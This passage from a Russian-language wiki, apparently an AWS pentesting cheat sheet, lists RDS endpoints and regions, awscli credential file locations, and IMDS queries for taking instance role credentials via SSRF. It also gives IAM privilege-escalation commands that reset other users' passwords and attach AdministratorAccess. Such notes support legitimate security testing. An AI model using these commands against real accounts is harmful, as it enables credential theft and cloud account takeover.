&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
